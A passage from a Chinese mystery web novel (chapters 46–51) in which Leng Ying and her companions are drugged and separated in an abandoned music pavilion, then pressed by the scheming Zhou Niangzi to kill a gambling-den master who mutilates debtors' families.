“多谢小姐,只是我男人自昨夜出门便一直未归,我也……无力再去寻了。”周娘子仿若已心死,垂着头摇了摇。 “最好别让我瞧见他,不然非打得他双目失明,看他还怎么赌!”珊瑚在一旁气呼呼的,任由冷萤帮她将袖口拉下。 听了珊瑚的话,周娘子双眼渐渐濡湿,扯出一抹笑容道:“要是早些认识这位小姐就好了……” 随后她开始讲述,昨夜见到云清泠后发生的事情。 “阿泠昨夜来时,衣裳下全是青紫,无一处完好的皮肤。我看着甚是心疼,她又不愿就医,我只好替她将一些外伤处理了下。” “只是……”她上身不断起伏,似乎正在控制自己的情绪,“刘富贵这厮不仅心狠还狡猾,故意拿东西砸阿泠身上脆弱之处。我都不知……” 她抹了抹泪,继续开口:“阿泠她到底受了多重的内伤,半夜吐了好几次血。但无论我怎么拉她去医馆或是想将大夫请来,她死活都不愿。现在想来,她应该知道自己已经活不了多久了……” “愿这两人下辈子转生为捣药罐,日日被敲打。”冷萤再也无法忍耐,开口诅咒道。 虽然大家的情绪都很低落,但听了冷萤的诅咒,包括周娘子在内,所有人脸上都浮起了难以言喻的表情。 冷萤并未察觉,她已经被怒火烧去了理智,开口问道:“所以云清泠昨夜一直待在你家中,一夜未曾离开?” 周娘子先是点了点头,后又摇摇头道:“晨起我去客房瞧时,已不见她人影。想来,她不知何时起身后,便去了琴室。阿泠也是死心眼,都已经伤得这般重了,还想着去挣钱替她相公还赌债。” “一个人伤成这样,还能拖着病体去弹琴,这已经不是死心眼的问题了。”方骅很是不明白地喃喃一句。 冷萤也有些不懂,那云清泠到底是怎样的人了。 其实,从与云清泠相熟的几人的讲述中,这女子给她的感觉就是对相公死心塌地,沉浸在报恩中,不把自己身体当一回事的愚人。 可偏偏冷萤那日见过的云清泠,不论从她自身散发出的气质,还是奏出琴音给外人的感觉。冷萤都不觉得,能弹出如此恢宏曲调的女子,思想会那般迂腐。 “她昨夜有说过什么奇怪的话吗?”想了想,她开口问道。 对方想了想,“她好像说什么……刘富贵这次不会来找她。还说……让我有空去琴室取一张古琴,今夜亥时替她交给一位老者。” “老者?”珊瑚问道:“他又是谁?” “我也不知。今日本想着直接去琴室的,但方才听了她家中的传言,我不放心便想着过来看看情况,才好安心去取。只是,没想到……”后面的话,她未说下去大家也都明白。 “那位老者在何处?”方骅问她。 “阿泠只让妾身将古琴送至聆音阁,至于那位老者在不在那处,妾身也不知。”周娘子如实答道。 “她让你送的古琴,琴身上是不是镶嵌着忍冬花图样?”冷萤倏然想到了什么,看向周娘子,急切地问道。 周娘子仔细想了想,随即才点点头,“我记得阿泠提过一句,应该就是那张琴没错。” 冷萤与方骅互看一眼,眼中都带有浓浓的疑虑。 “你说……”她小声问方骅:“这事会不会和琴室也有关系?” 明白她的意思,方骅皱眉淡漠道:“看来这夫妇俩的死,背后还藏着不少秘密。” “我就说那姓黄的不是什么好人。”珊瑚扭头对他们说了一句,随后又朝周娘子拍着胸脯保证道:“周娘子,送琴之事你就交给我们吧,保证替你完成任务!” “这……”对方似乎有些不情愿,轻蹙眉头道:“是不是有些麻烦各位大人了。” “不麻烦的。我们也是来昌县游玩,没什么可做的事情,周娘子尽可放心交予我们。”冷萤也接过话,劝道。 她想,以目前的情况,这个活他们说什么也得接下来。 周娘子见状,也不好再说什么。 她娇弱一拜,开口道:“那就拜托公子和两位小姐了。” 第四十七章 琥珀藏(14) 昌县,琴室大门外。 看着人去楼空的琴室,珊瑚咬牙切齿地说了句:“我就说,该扯光那厮的牙齿的!” 琴室大门敞开,里面不知何时早已被搬空,冷萤看着只觉头疼,“虽然此事诡异,但有可能不是黄二斤做的。” “还会有谁?这可是他的琴室!”珊瑚开始暴躁了。 “那可不一定。这家琴室,黄二斤做不了多大的主。还有,方才他可是被张志带去了县衙,你忘记了?”方骅开口提醒她。 听他这样一说,冷萤猜测道:“难道,是张志?” 方骅又摇了摇头,“他即便是有问题,也不会笨到选择在此时动手。” “有道理。”冷萤这次赞同他的说法。 珊瑚在两人说话时,冲进琴室看了一圈,出来愤愤地告诉他们:“那张古琴果然被搬走了。” “那今夜还去聆音阁吗?”冷萤问。 “当然要去。你不想瞧瞧那位老者是谁吗?”方骅反问道。 双手抱胸,珊瑚的眼里闪过一丝冷意,“我倒要去看看,是谁在姑奶奶面前兴风作浪!” 见她不可一世的样子,方骅实在没忍住插嘴道:“还是先管好你自己吧!” “你……” 她气到手已经开始在腰间摸索,冷萤一把拉住她道:“看,那里有买冰酪的小摊。” 珊瑚的气势一下子变弱,环着冷萤道:“冷姐姐,珊瑚想吃。” “吃吃吃……”冷萤拉起珊瑚朝冰酪摊走去,还不忘回头无声警告方骅小心说话。 冰酪摊前,珊瑚正吃得起劲。 冷萤与方骅都对冰酪不感兴趣,趁着空闲时间,向摊主打听起聆音阁。 摊主是位慈爱的大娘,正在给食客们舀冰酪,顺便回答他们的问题。 “聆音阁啊,废弃好久了。之前倒没什么人去那里,不过最近……”大娘的话停在了这里。 “最近如何?”方骅追问。 大娘将冰酪端给陌生食客,才凑近他们小声道:“那里最近总闹鬼。有好几个人瞧见,夜里总有女子的鬼魂在聆音阁四处游荡。” 嘴里被塞得鼓鼓囊囊的珊瑚,听罢还不忘插一句:“大娘,这世上哪有鬼嘛。都是人吓人罢了,这不我今日……” 怕她一时嘴快,让有听之人听见,冷萤急忙开口截停她的话,问道:“可有人看见过那鬼魂的模样。” 大娘见这几人好像都不大相信她,为了表明自己说得是真的,她连连点头开口:“当然有,说是一高一矮两个女鬼。高的长得可美了,矮的……看得不太真切。总之……你们还是别去那处了。” “都是什么时辰瞧见的?”冷萤又问。 她手执着勺子想了想,“我记得有位食客说过,他似乎在亥时未见到过。嗯……没错,就是亥时末!”大娘说得有鼻子有眼的。 “知道了,多谢大娘。”冷萤道谢。 “问这么清楚,你不怕?”方骅在她身边问道。 冷萤嫣然一笑,回他:“怕什么?那些神鬼话本里,女鬼一般只吸你们这些读书人的阳气,该怕的人……” 她故意上下打量了一下方骅,缓缓开口道:“是你才对。” 亥时,聆音阁门前。 三人站在聆音阁前,看着腐朽的朱漆大门,门檐下挂着的两只破破烂烂的灯笼,还有大门两侧的石狮子,一个没了脑袋,一个没了尾巴。 “听闻这里的主人,生前是宫中教坊师的司乐。因病致仕后,隐居在此,因极爱琴音,故而开了这间聆音阁。”冷萤将自己打听来的消息,告诉另外二人。 见他们听得认真,她才又继续说道:“这位阁主,每年都会在民间招几名有灵气的女童培养琴艺。被她选上的女童,从此便只能待在聆音阁,不可见外人。只要出此门,必须佩戴面纱。” “连自己爹娘都不能见?”珊瑚好奇地问道。 “听说一年才能见一次家人。”冷萤回道。 珊瑚皱眉道:“那这琴艺还有什么好学的。小小年纪便日日被锁在这高阁中,还有什么乐趣。” “你不是她们,怎知她们不乐意?”冷萤柔声一笑,反问她。 “我……”珊瑚下意识开口,随后又默默地住了嘴。 见她神情似乎在心疼那些女孩,冷萤便解释道:“那些被送来的女童,或许被选上的才算是幸运。你想,有谁愿意自家闺女在那般小的年纪,便将她送出门。何况这一旦送了出去,一年便再难见上一面。” “你是说……那些被送来的女童,有可能是家中养不起,或者是不想要了的?”珊瑚表情极其难看。 冷萤第一次,看见珊瑚脸上有这种类似于悲苦的表情。 “我方才听说,聆音阁中的女子,其实每年是有探亲日的。只是从未有人选择回家,故而才这样猜测。”见对方表情未见缓和,冷萤忙改口:“这些全都是小道消息,道听途说罢了。” 想了想,她又道:“你知道的,坊间传谣言时,总认为将谣言传得越夸张越有感觉。现在想想,我竟也成了其中一个了……” “是吗?”珊瑚喃喃道。 珊瑚还是闷闷不乐,冷萤以为是自己方才的言辞过于武断,又说道:“当然,或许有些女童,在幼时便爱上了弹琴。也说不定,是她们哀求爹娘将自己送来的呢?” 这时,一直未开口的方骅,冷冷来了句:“能如此纵容闺女的爹娘,怎会不专门请乐师到家中传授?” “你说得也有道理……”冷萤想了想,“那万一家中贫穷又该如何?” “家中贫穷的女童,又怎会早早接触到这些?”方骅反问她。 一句话,让冷萤将反驳的话全咽回了肚子里。 “所以,正常的人家,谁会将自己孩子丢弃?”珊瑚仿佛没听见他们讨论,自顾自地说了句,脸上的表情是冷萤从未见过的惘然。 她正想开口问珊瑚为何会突然不开心,几人面前斑驳的朱漆大门“吱呀”一声,居然自己给打开了。 “门后有人?”冷萤悄声问道。 “或许……”方骅轻扯嘴角,开口道:“是‘鬼’呢?” 第四十八章 琥珀藏(15) 方骅故意压低的声音还未淡去,几人眼前的大门却晃得越发厉害。 渐渐地,连檐下的灯笼也开始无风自摇。灯笼摆动的节奏乱得让人心里发慌,那律动看起来极其诡异。 “此时明明无风,这些东西到底在晃什么?” 珊瑚见不得有人装神弄鬼,放出弦丝想将大门控制住,却在弦丝缠上门环的一刹那,被不知哪来的力量瞬间给拖进了门。 “珊瑚!”冷萤眼见着那淡黄色身影瞬间消失在门后,拔腿就想追了过去。 跑了两步,她顿时发觉不对。看着门里缓缓朝外涌出的白色烟雾,雾里竟还夹杂着绛紫色的不明气体。 她快速从包里扯出面纱,顺手丢给了方骅一件。 对方接过她丢来的面纱随手一系,表情严肃地抬头看向聆音阁的屋顶。 看见陈全带着几名暗卫已经先他们一步跳进阁里,方骅这才放心护着冷萤,二人一前一后走进了那片诡异的雾气中。 大门彻底被冷萤与方骅推开,扑面而来的浓雾与香气,让戴着面纱的二人忍不住抬手用袖口掩住口鼻。 刚一进门,他们身后一直微敞着的大门,便“砰”的一声死死关上,任由他们如何推拉,也无法再次打开。 场景太过迷幻,冷萤一直用余光关注走在自己侧后方的方骅,不敢离他太远。 眼前的雾气造成视线一阵模糊,让她完全看不清门内的景象。 “方骅……”身边的人好久未出声,让她开始警觉起来。 然而这次的方骅不知为何,并未开口应她。可明明她的余光,很清楚地感受到对方一直跟在自己侧后方。 她走一步,他走一步。她停下,他便也停下。 怕方骅正在凝神观察四周的情况,冷萤不好让他分神,便只好硬着头皮,朝她以为的前方小心翼翼走去。 走了一段时间,不知哪来的古琴音,悠悠飘进了她的耳中。 她感觉,自己每往前一步,就离那琴声更近一些。 直到…… 眼前的雾气猝然散开,冷萤还来不及朝四周看上一眼,目光便被庭院中坐着弹琴的女子吸引过去。 伸手揉了揉自己的双眼,冷萤以为是自己看错了。 那庭院中心坐着弹奏古琴的女子,分明就是刚被拖进聆音阁的珊瑚。 但……如果仔细观察。 女子双手僵硬的弹奏姿势,还有脸上麻木的神情,与自己平日认识的珊瑚看起来完全判若两人! “珊瑚……”冷萤站在原地,犹豫地喊了一声。 对方不知有没有听见她的声音,完全无一丝别样的反应,只是机械地重复着动作。 “你看……那人是不是珊瑚?”冷萤朝方骅问道。 身后的人依旧没有理会她半句,这在平时是绝对不会发生的。 冷萤终于发现了不对,转头正想质问对方,为何一进门就变得奇奇怪怪。 却在转身的刹那,撞进了一双没有眼球的空洞眼窝里! 意识到情况有变,冷萤速度极快地朝后退了两步,再次抬眼时才看清,原来一直跟在自己身后的,早已不是方骅。 而是换成一位身穿异服、满嘴黑齿的女……鬼? 对方空洞的眼窝深陷、头发异常凌乱,仿若刚从地狱爬至人间。 “你是谁?”冷萤不动声色地朝后慢慢退去,生怕这人突然朝自己扑了过来。 还有……方骅到底去哪里了? 她记得很清楚,方骅明明是与自己一同走进这聆音阁大门的。 可现下她目之所及,除了眼前这位看起来有些奇怪的女子,再无其他。 女子双眼没了眼珠,佝偻着身子站在原地微微晃动,不知是在细微的呼吸还是在轻轻颤抖。 冷萤只感觉有一股属于死亡的秽气,自对方周身发散而出。 “你究竟是谁?”见对方没再逼近,她停下了脚步再一次问道。 冷萤无法确定,不远处的女人究竟是不是在“看”她。 虽然雾气已经散得差不多了,但那女子不似真人的反应,让她一再怀疑自己此时所见到的,究竟是现实还是梦魇? 这般荒谬的念头刚刚闪过,她身后的古琴又响了起来。 琴音时快时慢、若隐若现。 冷萤极快地朝身后看了一眼,再转回目光时,方才那装扮诡异的女子已消失在眼前。 有些慌张地瞧向四周,她这才发现,偌大的庭院里好像就只剩下了自己,和正在弹奏古琴的珊瑚。 只是…… 看着对方的动作仿佛被提前设定好一样,直觉告诉冷萤,珊瑚应该是被什么东西给控制住了。 于是她快步走上前,在离珊瑚还有几步之遥时,轻身说了一句:“珊瑚,能听见我的声音吗?” 被叫的人双目无神,摆动着双手不停拨动琴弦,双眼斜斜地看向琴身,但瞳孔明显已有些涣散。 看着珊瑚失去神智的模样,冷萤不敢再擅自出声打断她的弹奏。但任由她这样下去,他们几人可能都无法顺利逃离这里。 所以,她只能硬着头皮,轻轻将自己的手搭上珊瑚其中一只弹琴的手背上。 然而她的动作,完全没有影响到珊瑚。即便因为她的施力,对方所奏出音色,已略微有些变调,但双手却依旧仿若无人打扰一般继续弹着。 没有办法的冷萤,只能沉下手腕继续发力。直到琴弦发出类似拉锯子的声音,随后“嘣”的一声,其中一根琴弦彻底断裂。 琴弦断开的瞬间,仿佛某个魔咒被解开,珊瑚的双手即刻停住了动作。 冷萤因为压着她的手腕,两人的手指均被琴弦划破。 鲜红的血,顺着手指滴到琴台上。在第一滴血珠落下去的刹那,珊瑚僵硬的身体开始动了。 对方虽有了动作,但身体还是如木偶一样死板。 冷萤诧异地收回手,看着珊瑚先机械地展开右臂,随后又将左臂僵直着提了上来。 此时,她眼前双臂大张的珊瑚衣袂飘动,淡黄色长衫与彩色裙摆不知被何时刮起的一阵风,吹得几欲高飞。 “珊瑚,快醒醒!你是不是被谁给控制了?”冷萤企图抓住她的手,却扑了个空。 转眼间,方才面无表情如木偶般的女子,霎时像一位缥缈的仙子飞至半空中。 她的身后,仿佛被一根看不见的丝线牵着,以极快的速度带离她消失在了弥漫着浓雾的天空。 “珊瑚!”冷萤看着虚无的半空,不可思议地大喊一声。 随后发现,整个庭院只剩下了自己的声音还在不断回荡…… 第四十九章 琥珀藏(16) 空旷的庭院中,除了树叶被风吹得沙沙作响,再也听不见任何声音。 冷萤立刻朝珊瑚被拖离的方向跑去,却发现方才周身差不多已消散的雾气,又渐渐聚拢了起来。 此时的她,已经大致明白自己身处在什么境地了。 或许他们每个人,在刚进入聆音阁时,就吸入了不少的迷药。 这种迷药药性太大,不是他们戴上面纱就能完全阻隔的。方骅的突然失踪,还有珊瑚的奇怪举动,也许都与弥漫在庭院里的雾气有关。 冷萤无奈地低头笑了笑。 看来……他们这次又步入别人的圈套了。 但是…… 这处既然有迷药,那便有施药的人。 趁现在吸入的药性还不强,她必须先自救才能去将珊瑚、方骅还有陈全几人救出。 只是,如何自救呢?她甚至连聆音阁的全貌都不曾看清过…… 有些迷茫的冷萤正在心中想着对策,赫然看见不远处有一道暗暗的荧光闪过。这熟悉的光泽,瞬间为她指明了方向。 不管此时眼前的雾气有多浓,冷萤下一秒便义无反顾地朝那微弱的华光走去。 在这陌生之地,她或许什么都会看走眼,但从小看到大的东西,自己绝对一眼便可认出! 那阵流动的荧光一直在原地闪烁,好似也在等冷萤走近。 于是她加快脚步,离这里唯一的希望越来越近…… “啪!” 在走近那抹华光的瞬息之间,冷萤举起手拍了下去! 随着清脆的巴掌声,她听见了属于少年独有的沙哑嗓音,轻哼了一声。 “你到底……”因走得太急而有些气喘的冷萤,厉声质问道:“是谁?” 紧紧攥紧手中的刻刀,她双眼死盯着发出声响的地方。心想此时对方只要一动,她就立刻扎过去! 片刻后…… 被她打了一巴掌的少年,一直未出声。冷萤这才想起,对方好似无法讲话。 于是,她紧了紧抓着刻刀的手,大着胆子离对方走近几步。 浓雾渐渐散去,一位捂着半张脸的白发少年,出现在她视线中。 瞧见冷萤手中握着的东西,又感受到她冷若冰霜的态度,少年眼中闪过一丝受伤。 “这夹杂着迷药的雾气,是你做的?”冷萤开口便是质问。 少年双唇动了动,表情犹豫地点了点头。 “珊瑚和方骅他们呢?你将他们藏到哪里去了?”冷萤又问。 这次少年没再点头,而是无措地眨了眨眼睛,朝冷萤摇摇头。 当然,即便对方表现无辜,冷萤也不会再轻信于他了。 她向前一步逼近少年,举起手中的刻刀,冷冷开口道:“快说!不然拼了这条命,我也会将你杀了!” 少年看着她,死咬着嘴唇再次摇了摇头。 看着表情无措的少年,冷萤语气未见半点放松,嘲讽道:“迷雾是你亲手放出,目的不就是想将我们几人分开?现下却表示不知他们在哪,你觉得……我会相信你吗?” 说着,她用刻刀抵住少年的脖子,冷声道:“带我去见他们!” 但不知为何对方完全没有反抗,任由她使刀威胁。 此时的冷萤也思考不了那么多,她必须尽快找出自己的同伴,才能确保他们都是安全的。 这少年突然出现在这里,本身就很有问题。 以往,都是珊瑚和方骅保护自己。这次,也该换她来保护他们了。 少年任由她抵住自己的脖子,毫无色彩的瞳孔直直盯着冷萤,一副任人宰割的模样。 他没有初次见面的桀骜不驯,反而表现的格外顺从,只盯得冷萤拿着刻刀的手虚晃了下。 “你既然能出现在这里,必定对聆音阁非常了解。别想拖着等人来救,找不到他们,我绝不会放你离开半步!”冷萤狠下心别开眼,说道。 谁知,她这句话一出,对方居然不顾刀刃的锋利,径自摇了摇头,冷萤慌忙下意识地将手缩回了些。 瞧见她的动作,得知她并未如嘴上说得那般心狠,方才还一脸委屈的人,居然扯开嘴微微笑了笑。 “笑什么?你是不是……欺负他们了?” 可这抹笑传到冷萤眼中,却让她误以为自己同伴已经遇到了危险。 这下,冷萤彻底怒了! 不管此时的少年表现得多么无害,她还是狠下心加重了手中的力道。 手中的刻刀,好似对少年并未起到任何威胁。只见他毫不在意地看了冷萤一眼,这眼神对此时的她来说,更像是挑衅。 是,她承认!确实无法对一位比自己还年少的人痛下杀手! 想到这里,冷萤即刻面无表情地收回手中的刀。就在少年诧异地看过来时,她顺手摘下了他脖子上的璎珞。 当一个人的软肋足够显眼,就会一直被人拿来威胁。 冷萤知道自己这举动不够磊落,但也顾不上那么多了。 果然,少年随即变了脸色。 他想抢回璎珞,冷萤直接拿起璎珞,作势要扯掉下方的忍冬花纹螺钿吊坠。 “说不说?”她威胁着将手放在吊坠上。 她知道,这条璎珞对少年来说很重要。但是……珊瑚与方骅他们对她来说,更加重要! 少年摆了摆自己双手,示意冷萤不要继续,随后快速点了点头,表示答应她。 “他们被藏在了哪里?”冷萤即刻问道。 被问的人伸出手轻轻一挥,两人身边的雾气便消散不少。 瞧着他手中洒出的药粉,冷萤便知他终于用上了解药。 虽讶异对方解毒的动作竟如此随意,但此时还不知对方究竟是敌是友,冷萤再好奇,也不会多问哪怕一句。 少年见她目光转向自己,开始在半空中挥洒着黑色的粉末。 那些粉末不知为何,竟像是被控制一般,极其“听话”的顺着少年的手指拼凑出了一段话。 (姐姐……我不是坏人,但知道你的同伴在哪。) 长长的一段字,直到确认冷萤已看清,少年才一挥手让那些粉末纷纷落下。 “你不是坏人,为何要在此处释放迷药?” (因为我答应了她,要保护这里。) “她?是谁?”冷萤看着这段话,有些迷糊地问道。 (聆音阁主人) 什么?冷萤以为自己看错了。 他写的……是那位坊间传闻已去世的聆音阁主人? 她没忍住,问出了声:“你的意思是,聆音阁主人其实并未去世?” 少年看向她,点了点头。 聆音阁主人如若真没去世,那传闻为何说得那般真切? 冷萤正在细想,一阵阵“嗡嗡嗡……”细密急促的声音,自她身后传入耳中。 防备的快速转过身,顺着出声地看过去,她赫然发觉,前方半空出现了密密麻麻黑压压的一大片。 “这是……” 第五十章 琥珀藏(17) 空中蜂群如云,成千上万只蜜蜂嗡嗡作响,停在离冷萤不远处的上空,仿佛在集体对她示威。 在她还没来得及做出反应时,身边的少年立即闪身挡在她的面前。 墨金色的云团,停在原地蓄势待发。冷萤只怕自己稍微一动,那些可怕的小东西便会排山倒海一般朝他们冲来。 找不到同伴的焦急,再加上又碰见这群危险的小东西,让她站在原地内心无比煎熬。 就在她开始观察周围,哪处有容他们二人躲藏的地方时,身前的少年嘴中忽然发出几声奇怪的音调。 她赶忙想动手阻止对方发出声音,却惊奇地发现,那些稠密排列在他们眼前挥舞着翅膀的蜂子,忽而整齐划一地集体朝高空飞去。 等冷萤再看过去时,眼前早已无一丝杂质…… 不对! 她微微侧身,从少年身后朝前方看去。 前方影影绰绰间,好似站着一个人,正与少年或者是自己……遥遥相望。 “你认识那人?”冷萤悄声问身前的少年。 对方并未回答她的话,此时的他眼底浸满危险,与方才毫无杀伤力的模样判若两人。 见此情形的冷萤莫名懂了,不远处站着的那个人,或许来者不善。 因为她好似已经感受到,少年周身隐形的尖刺早已竖起,正朝着前方模糊的身影宣战。 而被他敌视的人恍若未闻,竟提着轻巧的步伐向他们走来。 冷萤行至少年身边,想看清来者是谁。却发现距离太远,对方的五官怎么看都是模糊不清。 随着对方慢慢走近,她逐渐瞧清了来人的穿着,好像……是一名女子。 只见那墨绿色的衣裙,随着对方婀娜的步伐,一路上翩翩欲飞。 豆绿色的如意履在裙摆下若隐若现,冷萤的视线随着她轻盈的步伐慢慢上移,却在终于看清对方长相时,愣在了原地。 对方见她瞧过来,大方地朝她妩媚一笑,随后将目光转向她身边的少年。 “姜小四,让你抓个人都这样费事,是不想救你师傅了?”来人笑着说完这句话,上挑的眼角暼了眼少年慢慢紧握的双拳,摆出轻蔑的神色。 就好像少年的愤怒,一点也威胁不到她一样。 她又将目光移至冷萤身上,轻捋了下耳边的碎发,抬起一双水眸毫不遮掩的与冷萤对视。 “这位小姐,这么快又见面了,真是好巧呀!” 冷萤从瞧见对方时一刹那的惊讶,在她与少年打招呼时,瞬息变为恍然大悟。 “巧吗?”冷萤通透的双眸凝视对方,轻声开口:“这一切,不正是周娘子所期望的吗?” 看着此时无一丝柔弱气质的周娘子,冷萤不禁有些佩服,对方怎的如此会掩饰,方才竟让他们瞧不出半分做戏的痕迹。 对方好似一点儿也不在意冷萤的冷嘲热讽,捂着嘴娇声笑着,一双含情的双眼微微眯起。 “呵……如若不那样说,各位又怎会甘心来此荒阁呢?”说完这句话后,她表情莫测地盯着冷萤。 “我的同伴在哪里?”冷萤不想与她多费口舌,如若一直随着她的话说,不知何时才会说到正题上。 “冷小姐就真的一点不好奇,我为何要请你们前来吗?”对方并未老实告诉她,而是反问道。 “为何?”无法问出自己想要的,为了同伴,冷萤也只得顺势问道。 她想,那自己就多了解一些,到关键时刻才更好与对方谈条件。 只是在她问出这句话时,身旁那位叫姜小四的少年,忽地伸手轻拉了下她的袖口。 冷萤有些疑惑地转头看他,却见对方眼神坚定地朝她摆了摆头。 什么意思?是让她不要理会周娘子? 可如若不理会对方…… 她正想着,周娘子又开口了。 “姜小四,你若再做些奇奇怪怪的动作,那群臭飞虫还有你师傅都得死!”见少年从中作梗,周娘子干脆沉下声直接威胁道。 姜小四听罢手指微微一颤,抬头死死瞧了冷萤一眼,随后低下头默默放开她的衣袖。 “冷小姐帮我解决一个人,我便立刻将你的同伴放出,这交易如何?”周娘子虽语带商量,但眼神里却透露着不容拒绝。 “周娘子的意思,是想让我帮你杀人?”冷萤以为自己听错了,立即问了一句。 见对方抿唇含笑点头,她才皱眉继续问道:“你是否有所误会,我手无缚鸡……” 冷萤正想表明自己的能力,却被对方一语打断:“我知道。但这件事情只有冷小姐你能做到。” 不懂对方的语气为何如此笃定,但她还是问道:“周娘子是想让我……解决谁?” 对面的人轻轻一甩手,带起一截淡绿色的袖纱,“去帮我杀了沈无尽,我就放了你的同伴。” 冷萤眉头一皱,发觉对方的要求既奇怪又透露着不简单,于是问道:“为什么选择我?还有,我原本以为……你是想杀掉你相公。” “哼……“周娘子可能觉得她说出的话甚是好笑,轻哼着要笑不笑地斜睨着她,”相公?从这男人选择对我动手开始,便早已沦为我脚下的泥。之前提起他,也只是利用他对你们装装可怜而已。“ 见她如今的模样,冷萤倒是不会怀疑她说的。也行……至少她并未真的受过此等伤害。 忽然,冷萤想到了什么,问她:“那云清泠呢?也是你拿来做戏的?” “当然不是!”说起自己的好姐妹,周娘子脸色微变,随后道:“是我来不及救下阿泠。不过……” 冷萤正专心听着,谁知对方猛地停下要说的话,话锋一转道:“至于为什么选择让你去杀了沈无尽嘛……” “为什么?”见她不愿再说下去,冷萤只得无奈地顺着她的话问道。 “因为你身边那两个太凶了,我搞不定,只能搞定你了。” …… 虽然这说法有点伤害到自己了,但冷萤居然觉得对方说得也没错。 “那为何不选择自己动手?”现在的周娘子看起来可一点也不柔弱,她来时脚步无声,明显就是习武之人的走路方式。 听了她的问话,被问之人轻笑一声抬起纤细的手,抚上自己白皙的脸,轻声道:“这样无瑕的面容,怎可沾染上鲜血。” 冷萤默不作声地将目光转开,瞧见身边姜小四的表情,仿佛像吞了一百只蜜蜂。 她只好轻叹一句:“麻烦周娘子好好说话!” “他背后势力太强,我搞不定。”周娘子放下抚着脸颊的手,甚觉无聊地回了句。 听到这里,冷萤只觉一阵头疼,“你身为昌县人都无法突破他背后的势力,我一个外乡人怎么可以?” “不,你可以!” 令她没想到的是,对方居然对她颇有信心。 冷萤看着对面的美艳女子,发觉自己也是第一次见到如此嘴甜又坦率的绑匪。 只是…… 她这种盲目的自信,究竟是从何而来的? 第五十一章 琥珀藏(18) “我竟不知,自己居然有这么大的本事。”冷萤淡声冷漠道。 周娘子掩唇浅笑,随后抬手朝她丢过来一只发簪。 她下意识伸手准备接住,身旁的姜小四却不知为何,突然跃起,一把将对方抛过来的东西牢牢抓到手中。 “多管什么闲事?瞧瞧你这狗腿的样子。”周娘子见东西被他半路截住,翻了个白眼道。 姜小四才不管对方说了什么,拿起拦截住的一根琥珀镶嵌的发簪仔细瞧着,随后又放在鼻子下方嗅了嗅。 在周娘子即将要发作前,他才将发簪递还给了冷萤。 冷萤接过发簪一看,神色霎时变得极其难看。 方才发簪不在她手中,所以看得不够仔细,现下仔细一瞧,发现这只琥珀镶嵌的发簪里,包裹着的居然是一块血淋淋的肉块。 举起手中的发簪,她冷声问道:“你做的?” “对呀!”对方坦然答道。 “里面那块……”强忍着胃里的不舒服,冷萤继续问道:“是从谁身上取下来的?” 讥笑着看向她,周娘子眼里闪过一丝冷意,随后道:“冷小姐,我的耳垂形状好看吗?” 听了对方的回答,冷萤有一刹那的愣神,随后内心猛然窜起一团火。 努力压抑自己的愤怒,她沉声问道:“在周娘子的心中,我到底是个什么样的人,才会觉得,这从你身上活生生割下来的耳垂肉好看?” 或许是没想到冷萤会如此生气,周娘子收起讥笑不再斜眼看她,而是默默转过身子,认真打量起她来。 “为何要对自己这样残忍?”冷萤未消气,但还是忍着开口问道。 对方恍若掩饰般干笑一声,问道:“残忍吗?” 这时的冷萤才看清,对方在正面看向自己后,右耳的耳垂处贴着一块纱布。纱布上……还沁出几处血渍。 “这还不残忍,那怎样才叫残忍?”虽是反问,但冷萤语气极轻,仔细听来还隐隐带了些心疼。 同为女子,她当然知道周娘子在生生割下自己耳垂时,内心会有多么痛苦挣扎。 见对方看向自己的目光裹着怜意,周娘子卷着耳边的发丝慢声开了口:“阿泠的右眼,王家小公子的食指,还有宋家二女儿的左耳……” 她一句一句越说越快,最后一甩袖道:“你往昌县赌场里一站,里面那些赌博的人,他们家人哪个现在还是全须全尾的?” “做出这些的人……都与昌县的赌场有关?”对方话中的重点,让冷萤听来着实心惊。 “对!”周娘子冷冷道:“这一切,都与沈无尽那个贪婪的狗贼有关。” “这么说,沈岁一从九品微官,竟允许其子设赌坊,且对其以非法手段攫取百姓五体和脏器,视若无睹?”冷萤听到这里,只觉满心荒唐。 对方噙着凉意的嗓音,轻哼道:“你是说那位遇事就躲的沈老爷?不知你有无见过沈夫人的面容,如若见过便不会如此惊讶了。” “沈无尽还残害了自己母亲?”冷萤在问出这句话时,双手已不由自主地紧握成拳。 “严格来说,是继母。”周娘子纠正她。 原来如此,冷萤明白沈无尽为何如此猖狂了。因为家中有一位管不住他的爹,和一位没法管他的继母。 “那……”冷萤正想问,沈无尽的生母因为什么原因去世时,却被对方强制断了话头。 “方才只是在与冷小姐说笑,琴室里发生的事我都看在眼里,自然知道,你才是接近沈无尽最合适的人选。所以才会设下这个陷阱,诱你们上钩。”周娘子终于说出布此局的原因。 仔细回想,冷萤并未觉得自己在琴室的任何一处表现,给了对方自己能宰了沈无尽的错觉。 ……难道? “是因为,我无意间找到了那块人体琥珀?”这是她唯一能想到的了。 “不光是这件事。”周娘子目光转向冷萤的手指,“冷小姐手指上有薄茧,对阮琴这类无人问津的乐器也颇为了解,想来应该琴艺高超。” 伸出手,看着自己除了小拇指外的均带有薄茧的指腹,冷萤恍然大悟:“周娘子虽细心,但我手上的薄茧是长期刻磨螺片导致。不过……” “……有一件事你猜对了,我对阮琴确实略懂一二。只是琴艺尚浅,周娘子怕是托付错了人。” 对方却连连摇头浅笑,似乎并不这样认为,“从前放眼整个昌县,只云清泠一人懂阮琴。可惜她一身技艺,却因为那该死的刘富贵,功未成身先死。” “本以为,咱们的复仇计划只能胎死腹中了。”说到这里,她眸子里有微光闪过:“没承想,竟让我在琴室外瞧见了冷小姐。” 听了对方的回答,冷萤静下心来思索片刻,复又开口:“你是想让我利用阮琴引起沈无尽的注意?” 可她怎么就这般笃定,那沈无尽会傻傻地上钩? 似乎瞧出了她眼中的疑问,周娘子开口道:“沈无尽的生母,在闺阁时便善阮琴。所以往日即便他再无人性,也从不对善阮琴的女子下手。” “那云清泠的眼睛?”冷萤可是听说,刘富贵正是为了讨好沈无尽,才残忍挖去自己妻子的眼球。 “所以刘富贵他死了。”周娘子淡淡道。 这句话,似乎意有所指。 “刘富贵的死与沈无尽有关?”冷萤察觉关键之处,问道。 可几人在刘富贵房中查到的证据,越细琢磨越觉得与这座聆音阁里的一切有关。 蜂巢、黄蜡还有琴弦。 难道,是他们探查的方向有误? “如果冷小姐怀疑是我的话,那可以换个方向调查了。”周娘子不再拐弯抹角,而是直截了当告知她。 冷萤自然不会凭周娘子的只言片语,便直接断掉对她的怀疑。 她可不会忘了,自己的同伴现在还在对方手中呢。 